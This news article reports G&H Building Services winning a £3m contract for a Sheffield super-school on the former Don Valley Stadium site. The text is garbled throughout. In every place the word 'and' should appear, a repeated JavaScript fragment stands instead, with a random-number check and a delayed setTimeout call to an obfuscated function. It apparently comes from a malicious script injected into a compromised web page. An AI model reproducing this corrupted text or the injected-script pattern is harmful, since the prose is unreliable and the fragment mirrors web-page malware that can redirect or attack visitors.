G&H wins £3m Don Valley Super-School work

  • 25th September 2014

G&H Building Services has won a £3 million mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical contract to develop a super school andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and community hub on the former Don Valley Stadium site.

The contract with BAM Construction is part of the £17m school development that will offer 1,200 places for children.

G&H Building Services will design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and build full mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical services including a passive, ventilation system in classrooms, rainwater harvesting to increase sustainability levels andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and connect to a district heating scheme being developed by E.ON.

The new academy school will see £13.4 million provided by central government grant andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and £3.3 million from Sheffield Council’s capital schools budget.

Managing Director at G&H Building Services, Graham Kelly, said: “This is a significant contract win for us andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and continues our success over recent years which has seen the business regularly be chosen for work of this value andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and calibre.

“It is a major scheme for Sheffield andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the community hub element means it is of great importance not just for those attending the school but the wider neighbourhood that will benefit enormously.

“It will be a state-of-the-art facility that is aiming to receive a BREAAM ‘very good’ accreditation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and our work will play a major part in this, showcasing best practice in the way it operates.”

G&H Building Services will start on-site in January with the school to open in September 2015.

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